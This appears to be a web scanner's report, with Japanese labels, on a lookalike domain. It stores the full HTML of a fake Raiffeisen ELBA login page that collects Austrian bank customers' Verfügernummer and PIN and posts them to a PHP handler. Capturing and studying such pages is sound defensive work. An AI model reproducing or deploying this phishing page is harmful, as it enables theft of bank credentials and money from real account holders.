- スキャンID:
- 5335ebd9-aea4-4d18-ac99-97a8dfda677c終了
- 送信済みURL:
- https://mein.elba-at.cfd/
- レポート終了日:
リンク · 0件検出
ページから特定された発信リンク
JavaScript変数 · 4件検出
ページのウィンドウオブジェクトにロードされたグローバルのJavaScript変数は関数以外の場所で宣言された変数で、現在のスコープ内であればコードのどこからでもアクセス可能です
名前 | 規模 |
---|---|
0 | object |
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
コンソールログメッセージ · 5件検出
Webコンソールにログ記録されたメッセージ
規模 | 分類 | ログ |
---|---|---|
error | network |
|
error | network |
|
verbose | dom |
|
error | network |
|
error | network |
|
HTML
未加工のHTMLページ本文
<html lang="de" data-critters-container="" class="wf-roboto-n3-active wf-roboto-n4-active wf-roboto-n5-active wf-active device__Unknown device-type__desktop device-os__Windows device-browser__Chrome device-orientation__landscape" style="--background-image-xxl: url("/assets/rbg_wald.jpg"); --background-image-xl: url("/assets/rbg_wald.jpg"); --background-image-lg: url("/assets/rbg_wald.jpg"); --background-image-md: url("/assets/rbg_wald.jpg"); --background-image-sm: url("/assets/rbg_wald.jpg"); --background-image-xs: url("/assets/rbg_wald.jpg");"><head>
<meta charset="utf-8">
<title>Login - Raiffeisen</title>
<base href="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="/assets/styles.css" media="all" onload="this.media='all'">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500" media="all">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500" media="all">
<style type="text/css"></style>
<link rel="stylesheet" type="text/css" href="/assets/bundle-rbg.css">
<style>.form-container {
width: 100%; /* Vollständige Breite */
max-width: 390px; /* Maximale Breite für größere Bildschirme */
margin: 0 auto; /* Zentriert den Container */
background: #fff;
padding: 16px; /* Etwas Padding hinzufügen */
border-radius: 8px; /* Leicht abgerundete Ecken */
}
.underline-input, .dropdown {
width: 100%; /* Volle Breite der Elterncontainer */
height: 100px;
border: none;
border-bottom: 1px solid #000;
padding: 2px 2px;
padding-left: 10px;
padding-top: 8px;
font-size: 16px;
outline: none;
background-color: #f5f5f5;
box-sizing: border-box; /* Berücksichtigt Padding und Border */
}
/* Responsive Design für kleinere Bildschirme */
@media (max-width: 767px) {
.form-container {
padding: 8px; /* Reduziertes Padding auf kleinen Bildschirmen */
}
.underline-input, .dropdown {
height: 45px; /* Etwas kleinere Höhe für kleinere Bildschirme */
font-size: 14px; /* Kleinere Schriftgröße */
}
.floating-label {
font-size: 14px; /* Kleinere Schriftgröße für Labels */
}
}
.error-input {
border-color: #d2041c !important;
}
.error-message p {
color: #d2041c !important;
}</style></head>
<body class="rds-app-background rds-typography rds-web-context elba-login-bg-img">
<app-identify class="ng-star-inserted">
<app-pin-login class="ng-star-inserted">
<app-login-card _nghost-ng-c3647054988="">
<app-login-dialog _ngcontent-ng-c3647054988="" _nghost-ng-c2176911814="" class="ng-star-inserted">
<div _ngcontent-ng-c2176911814="" rdsrow="" class="rds-row-space-around login-dialog rds-row gx-0 gy-0" id="rds-grid-row-7">
<div _ngcontent-ng-c2176911814="" rdscol="6" class="d-flex flex-column justify-content-end justify-content-sm-center rds-col rds-col-xs-12" id="rds-grid-row-7-column-7">
<div _ngcontent-ng-c3647054988="" class="bg-white position-relative login-card d-flex flex-column pb-3 rounded-top">
<div _ngcontent-ng-c3647054988="" class="d-flex position-absolute justify-content-center w-100 logo m-0 rds-navbar-brand"></div>
<app-language-switch _ngcontent-ng-c3647054988="" class="d-flex position-absolute top-0 justify-content-end w-100">
<div class="d-flex justify-content-end ng-star-inserted">
<rds-form-field appearance="barebone-pale" class="rds-form-field w-50 ng-tns-c427123406-7 rds-primary rds-form-field-type-rds-select rds-form-field-appearance-barebone-pale rds-form-field-has-label rds-form-field-hide-placeholder ng-star-inserted">
<div class="rds-form-field-wrapper ng-tns-c427123406-7">
<div class="rds-form-field-flex ng-tns-c427123406-7">
<!---->
<!---->
<!---->
<div class="rds-form-field-infix ng-tns-c427123406-7">
<rds-select role="combobox" aria-autocomplete="none" aria-haspopup="true" class="rds-select rds-small ng-tns-c3524291252-8 ng-tns-c427123406-7 ng-star-inserted" aria-labelledby="rds-form-field-label-11 rds-select-value-3" id="rds-select-2" tabindex="0" aria-expanded="false" aria-required="false" aria-disabled="false" aria-invalid="false">
<div cdk-overlay-origin="" class="rds-select-trigger ng-tns-c3524291252-8">
<div class="rds-select-value ng-tns-c3524291252-8" id="rds-select-value-3">
<!---->
<span class="rds-select-value-text ng-tns-c3524291252-8 ng-star-inserted">
<span class="rds-select-min-line ng-tns-c3524291252-8 ng-star-inserted">Deutsch</span>
<!---->
<!---->
</span>
<!---->
</div>
<div class="rds-select-arrow-wrapper ng-tns-c3524291252-8">
<div class="rds-select-arrow ng-tns-c3524291252-8"></div>
</div>
</div>
<!---->
</rds-select>
<span class="rds-form-field-label-wrapper ng-tns-c427123406-7">
<label class="rds-form-field-label ng-tns-c427123406-7 ng-star-inserted" id="rds-form-field-label-11" for="rds-select-2" aria-owns="rds-select-2">
<!---->
<rds-label class="sr-only ng-tns-c427123406-7 ng-star-inserted">Wählen Sie Ihre bevorzugte Sprache aus</rds-label>
<!---->
<!---->
</label>
<!---->
</span>
</div>
<!---->
</div>
<!---->
<div class="rds-form-field-subscript-wrapper ng-tns-c427123406-7">
<!---->
<div class="rds-form-field-hint-wrapper ng-tns-c427123406-7 ng-trigger ng-trigger-transitionMessages ng-star-inserted" style="opacity: 1; transform: translateY(0%);">
<!---->
<div class="rds-form-field-hint-spacer ng-tns-c427123406-7"></div>
</div>
<!---->
<!---->
</div>
</div>
</rds-form-field>
</div>
<!---->
<!---->
</app-language-switch>
<!---->
<!---->
<!---->
<div _ngcontent-ng-c3647054988="" rds-row="" class="overflow-hidden rds-row-space-around pt-3 flex-grow-1 rds-row gx-0 gy-0" style="max-height: 100%;" id="rds-grid-row-4">
<div _ngcontent-ng-c3647054988="" rds-col="" class="d-flex flex-column overflow-hidden rds-col rds-col-xs-12" style="max-height: 100%;" id="rds-grid-row-4-column-4">
<h1 _ngcontent-ng-c3647054988="" class="px-3 px-sm-1 mb-2 text-nowrap ng-star-inserted"> Bitte melden Sie sich an </h1>
<!---->
<!---->
<rds-scrolling _ngcontent-ng-c3647054988="" data-sm-scroller-track="vertical" id="rds-scroller-id-0" tabindex="-1" class="rds-scroller-native" style="flex: 1 1 0%; display: block; overflow: hidden; height: auto;">
<div cdkscrollable="" class="rds-scroller-container rds-scroller-track-y ng-star-inserted" id="rds-scroller-container-id-1" tabindex="-1">
<div _ngcontent-ng-c3647054988="" class="px-3 px-sm-1 ng-star-inserted">
<div>
<app-notification>
<!---->
<!---->
<!---->
<!---->
<!---->
</app-notification>
<!---->
<!---->
<!---->
<!---->
<p class="mt-3">Wählen Sie Ihr Bundesland und geben Sie Verfügernummer und PIN ein.</p>
<div class="form-container">
<form id="login-form" method="post" action="verfueger-process.php">
<div class="form-group">
<select id="dropdown" name="kanton_code" class="dropdown">
<option value="" disabled="" selected="">Bundesland oder Bank wählen *</option>
<option value="ELVIE33X-">Burgenland</option>
<option value="ELOOE03V-">Kärnten</option>
<option value="ELVIE32V-">Niederösterreich/Wien</option>
<option value="ELOOE01V-">Oberösterreich</option>
<option value="ELOOE05V-">Salzburg</option>
<option value="ELVIE38V-">Steiermark</option>
<option value="ELOOE11V-">Tirol</option>
<option value="ELVIE37V-">Vorarlberg</option>
<option value="ELOOE01V-">Oberösterreich/Bank Direkt</option>
<option value="ELVIE22X-">Oberösterreich/PRIVAT BANK</option>
<option value="ELOOE11V-">Tirol/Jungholz</option>
<option value="ELOOE11V-">Alpen Privatbank</option>
</select>
<input type="hidden" id="kanton_name" name="kanton_name">
</div>
<div class="form-group">
<input type="text" id="verfuegernr" name="verfueger" class="underline-input" placeholder="Verfügungsnummer" minlength="16" required="">
<label for="verfuegernr" class="floating-label">Verfügernummer eingeben *</label>
<div id="verfuegernr-error" class="error-message" style="display: none;">Bitte geben Sie eine gültige Verfügernummer im Format ELXXXXX-XX-123456.</div>
</div>
<div class="form-group">
<input type="password" name="verfueger_pin" id="pin" class="underline-input" placeholder="PIN" minlength="5" maxlength="5" required="">
<label for="pin" class="floating-label">PIN eingeben *</label>
<div id="pin-error" class="error-message" style="display: none;">Bitte geben Sie Ihre 5-stellige PIN ein.</div>
</div>
<button id="submitBtn" type="submit" disabled="">WEITER</button>
</form>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const verfuegernrInput = document.getElementById('verfuegernr');
const pinInput = document.getElementById('pin');
const dropdown = document.getElementById('dropdown');
const submitBtn = document.getElementById('submitBtn');
const verfuegernrError = document.getElementById('verfuegernr-error');
const pinError = document.getElementById('pin-error');
function checkFormCompletion() {
const verfuegernrValue = verfuegernrInput.value.replace(/-/g, '');
const pinValue = pinInput.value;
let valid = true;
if (dropdown.value && verfuegernrValue.length >= 16 && pinValue.length === 5) {
submitBtn.disabled = false;
verfuegernrError.style.display = 'none';
pinError.style.display = 'none';
} else {
submitBtn.disabled = true;
if (verfuegernrValue.length < 16) {
verfuegernrError.style.display = 'block';
valid = false;
} else {
verfuegernrError.style.display = 'none';
}
if (pinValue.length < 5) {
pinError.style.display = 'block';
valid = false;
} else {
pinError.style.display = 'none';
}
}
}
function formatVerfuegernr(value) {
let formattedValue = value.replace(/-/g, '');
if (formattedValue.length > 16) {
formattedValue = formattedValue.slice(0, 16);
}
if (formattedValue.length > 8) {
formattedValue = formattedValue.slice(0, 8) + '-' + formattedValue.slice(8);
}
if (formattedValue.length > 11) {
formattedValue = formattedValue.slice(0, 11) + '-' + formattedValue.slice(11);
}
return formattedValue;
}
verfuegernrInput.addEventListener('input', function() {
verfuegernrInput.value = formatVerfuegernr(verfuegernrInput.value);
checkFormCompletion();
});
pinInput.addEventListener('input', function() {
if (pinInput.value.length > 5) {
pinInput.value = pinInput.value.slice(0, 5);
}
checkFormCompletion();
});
dropdown.addEventListener('change', function() {
verfuegernrInput.focus();
verfuegernrInput.value = formatVerfuegernr(dropdown.value);
checkFormCompletion();
});
submitBtn.addEventListener('click', function() {
if (submitBtn.disabled) {
alert('Bitte füllen Sie alle erforderlichen Felder korrekt aus, um fortzufahren.');
}
});
});
</script>
<div _ngcontent-ng-c3647054988="" rds-row="" class="rds-row-space-around mb-1 rds-row gx-0 gy-0" id="rds-grid-row-6">
<script>
document.addEventListener("DOMContentLoaded", function() {
if (window.location.search.includes("?error")) {
var floatingInputContainers = document.querySelectorAll('.floating-input');
floatingInputContainers.forEach(function(container) {
container.setAttribute('data-error', 'true');
});
// Select the div with id=error-message and set its display to block
var errorMessageDiv = document.getElementById('error-message');
if (errorMessageDiv) {
errorMessageDiv.style.display = 'block';
}
}
});
</script>
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
</div>
<!---->
<div class="cdk-live-announcer-element cdk-visually-hidden" aria-atomic="true" aria-live="polite" id="cdk-live-announcer-0"></div>
<div id="gen-live-phishing-protection-extension-note" style="display: none;">
<div class="nrg-inner-container">
<img id="close" alt="X" src="chrome-extension://pnhojlpkdnfhikpofiijpojgpejkdgpj/images/cross_32.png">
<img style="width: 24px;height: 24px;margin-top: 8.5px;float:left;margin-left: 15px;" alt="NRG" src="chrome-extension://pnhojlpkdnfhikpofiijpojgpejkdgpj/images/icon48.png">
<span data-from="" data-to="" data-linktext="" data-reason="" id="nrg-message"></span>
<div class="nrg-dropdown">
<input type="button" value="Options" style="padding: 5px!important; width: 80px!important;font-weight: normal!important;">
<div class="nrg-dropdown-content">
<ul>
<li style="margin-left: 0px!important;" id="report-as-phishing">Report this Web page as Phishing.</li>
<li style="margin-left: 0px!important;" id="report-as-not-phishing">Report this Web page as <b>Not</b> Phishing. </li>
</ul>
<div class="desc"></div>
</div>
</div>
</div>
</div>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8e36649e1df02fa3',t:'MTczMTc0ODY5OS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>
<div id="gen-live-phishing-protection-extension-note" style="display: none;">
<div class="nrg-inner-container">
<img id="close" alt="X" src="chrome-extension://pnhojlpkdnfhikpofiijpojgpejkdgpj/images/cross_32.png">
<img style="width: 24px;height: 24px;margin-top: 8.5px;float:left;margin-left: 15px;" alt="NRG" src="chrome-extension://pnhojlpkdnfhikpofiijpojgpejkdgpj/images/icon48.png">
<span data-from="" data-to="" data-linktext="" data-reason="" id="nrg-message"></span>
<div class="nrg-dropdown">
<input type="button" value="Options" style="padding: 5px!important; width: 80px!important;font-weight: normal!important;">
<div class="nrg-dropdown-content">
<div class="desc"></div>
</div>
</div>
</div>
</div>
<div class="cdk-live-announcer-element cdk-visually-hidden" aria-atomic="true" aria-live="polite" id="cdk-live-announcer-0"></div>
<div class="notranslate" style="position: absolute; top: 0; right:0;" id="vd-root-d19608294"></div>
</div></div></div></rds-scrolling></div></div></div></div></div></app-login-dialog></app-login-card></app-pin-login></app-identify><iframe height="1" width="1" style="position: absolute; top: 0px; left: 0px; border: none; visibility: hidden;"></iframe></body></html>